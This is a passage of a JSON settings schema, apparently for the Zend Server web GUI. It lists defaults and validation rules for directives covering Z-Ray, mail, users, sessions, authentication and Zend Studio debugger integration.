                        "fixed": "http:\/\/www.zend.com\/server\/redirect\/news"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.rssDate": {
                "shortDescription": "",
                "type": 1,
                "section": "rss",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.custom_namespaces": {
                "shortDescription": "",
                "type": 1,
                "section": "zray",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "Varien_, Mage::, Mage_, Zend_, Zend\\, Symfony\\, Doctrine\\, Illuminate\\, Cake\\, Yii::, yii\\, Phalcon\\, Assetic\\, Composer\\, Drupal\\, GuzzleHttp\\, Gliph\\, SebastianBergmann\\, Psr\\, CI_"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.collapse": {
                "shortDescription": "",
                "type": 1,
                "section": "zray",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "ctrl+alt+c"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.maxRequests": {
                "shortDescription": "",
                "type": 4,
                "section": "zray",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "500"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 0,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.maxElementsPerLevel": {
                "shortDescription": "",
                "type": 4,
                "section": "zray",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "18"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 0,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.maxElementsInTree": {
                "shortDescription": "",
                "type": 4,
                "section": "zray",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "180"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 0,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.maxTreeDepth": {
                "shortDescription": "",
                "type": 4,
                "section": "zray",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "15"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 0,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.showInIframe": {
                "shortDescription": "",
                "type": 4,
                "section": "zray",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.showSilencedLogs": {
                "shortDescription": "",
                "type": 4,
                "section": "zray",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.enforceAccessControl": {
                "shortDescription": "",
                "type": 2,
                "section": "zray",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.zrayRetryLimit": {
                "shortDescription": "",
                "type": 4,
                "section": "zray",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "2000"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 0,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.guidePage": {
                "shortDescription": "",
                "type": 2,
                "section": "package",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.completed": {
                "shortDescription": "",
                "type": 1,
                "section": "bootstrap",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "false"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.requireEula": {
                "shortDescription": "",
                "type": 2,
                "section": "bootstrap",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.defaultServer": {
                "shortDescription": "",
                "type": 1,
                "section": "deployment",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": true,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.resultsPerPage": {
                "shortDescription": "Number of rows in the tables in the UI",
                "type": 4,
                "section": "list",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "20"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 1,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.environmentName": {
                "shortDescription": "Server setup name",
                "type": 1,
                "section": "server",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.environmentColor": {
                "shortDescription": "Server setup color",
                "type": 1,
                "section": "server",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "#FFFFFF"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "\/^#([0-9A-Fa-f]{3}|[0-9A-Fa-f]{6})$\/",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.networkEnable": {
                "shortDescription": "Network enable flag",
                "type": 2,
                "section": "server",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.timezone": {
                "shortDescription": "",
                "type": 1,
                "section": "timezone",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.logVerbosity": {
                "shortDescription": "",
                "type": 1,
                "section": "logging",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "NOTICE"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.interval": {
                "shortDescription": "",
                "type": 4,
                "section": "notifications",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "5"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.jqPulseAvgLimit": {
                "shortDescription": "",
                "type": 4,
                "section": "jqpulse",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "60"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.timeout": {
                "shortDescription": "",
                "type": 4,
                "section": "logout",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "15"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 0,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.encryption_method": {
                "shortDescription": "Encryption method for sensitive data",
                "type": 1,
                "section": "encryption",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "AES-256-CBC"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.encryption_key": {
                "shortDescription": "Encryption key for sensitive data",
                "type": 1,
                "section": "encryption",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.mail_type": {
                "shortDescription": "",
                "type": 1,
                "section": "mail",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "smtp"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.mail_host": {
                "shortDescription": "",
                "type": 1,
                "section": "mail",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.mail_port": {
                "shortDescription": "",
                "type": 1,
                "section": "mail",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.return_to_address": {
                "shortDescription": "",
                "type": 1,
                "section": "mail",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": true,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.from_address": {
                "shortDescription": "email address for out-going emails",
                "type": 1,
                "section": "mail",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "no-reply@zend.com"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": true,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.authentication_method": {
                "shortDescription": "",
                "type": 1,
                "section": "mail",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.authentication": {
                "shortDescription": "",
                "type": 2,
                "section": "mail",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.mail_service": {
                "shortDescription": "",
                "type": 1,
                "section": "mail",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "custom"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.mail_ssl": {
                "shortDescription": "",
                "type": 1,
                "section": "mail",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.mail_username": {
                "shortDescription": "",
                "type": 1,
                "section": "mail",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.mail_password": {
                "shortDescription": "",
                "type": 1,
                "section": "mail",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.templatePath": {
                "shortDescription": "",
                "type": 1,
                "section": "mail",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "data\/email-templates"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.adminUser": {
                "shortDescription": "",
                "type": 1,
                "section": "user",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "admin"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.devUser": {
                "shortDescription": "",
                "type": 1,
                "section": "user",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "developer"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.usernameLengthMin": {
                "shortDescription": "",
                "type": 4,
                "section": "user",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "4"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.usernameLengthMax": {
                "shortDescription": "",
                "type": 4,
                "section": "user",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "20"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.passwordLengthMin": {
                "shortDescription": "",
                "type": 4,
                "section": "user",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "4"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.passwordLengthMax": {
                "shortDescription": "",
                "type": 4,
                "section": "user",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "20"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.standaloneEmail": {
                "shortDescription": "Email address of a registered user for standalone Z-Ray",
                "type": 1,
                "section": "user",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.standaloneToken": {
                "shortDescription": "Authentication token of a registered user for standalone Z-Ray",
                "type": 1,
                "section": "user",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.aclEnabled": {
                "shortDescription": "",
                "type": 1,
                "section": "acl",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "true"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.sessionControlEnabled": {
                "shortDescription": "",
                "type": 1,
                "section": "sessionControl",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "true"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.sessionId": {
                "shortDescription": "",
                "type": 1,
                "section": "sessionControl",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "ZS6SESSID"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "\/^[[:alnum:]]+$\/i",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.webapi_time_skew": {
                "shortDescription": "",
                "type": 4,
                "section": "authentication",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "360"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.simple": {
                "shortDescription": "",
                "type": 1,
                "section": "authentication",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "true"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.adapter": {
                "shortDescription": "",
                "type": 1,
                "section": "authentication",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.groupsAttribute": {
                "shortDescription": "",
                "type": 1,
                "section": "authentication",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.debugModeEnabled": {
                "shortDescription": "",
                "type": 1,
                "section": "debugMode",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "false"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.unminify": {
                "shortDescription": "Keep all client-side assets and resources minified",
                "type": 1,
                "section": "debugMode",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "false"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.studioClientTimeout": {
                "shortDescription": "",
                "type": 4,
                "section": "studioIntegration",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "4000"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.studioHost": {
                "shortDescription": "",
                "type": 1,
                "section": "studioIntegration",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.studioPort": {
                "shortDescription": "",
                "type": 4,
                "section": "studioIntegration",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "10137"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.studioUseSsl": {
                "shortDescription": "",
                "type": 4,
                "section": "studioIntegration",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.alternateDebugServer": {
                "shortDescription": "",
                "type": 1,
                "section": "studioIntegration",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.studioAutoDetectionEnabled": {
                "shortDescription": "",
                "type": 4,
                "section": "studioIntegration",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.studioAutoDetection": {
                "shortDescription": "",
                "type": 4,
                "section": "studioIntegration",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.studioAutoDetectionPort": {
                "shortDescription": "",
                "type": 4,
                "section": "studioIntegration",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "20080"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.studioBreakOnFirstLine": {
                "shortDescription": "Break on first line",
                "type": 4,
                "section": "studioIntegration",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.studioUseRemote": {
                "shortDescription": "Debug local copy (if available)",
                "type": 4,
                "section": "studioIntegration",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.defaultLineChunk": {
                "shortDescription": "",
                "type": 4,
                "section": "logReader",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "200"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.maxLineChunk": {
                "shortDescription": "",
                "type": 4,
                "section": "logReader",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "10000"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.email": {
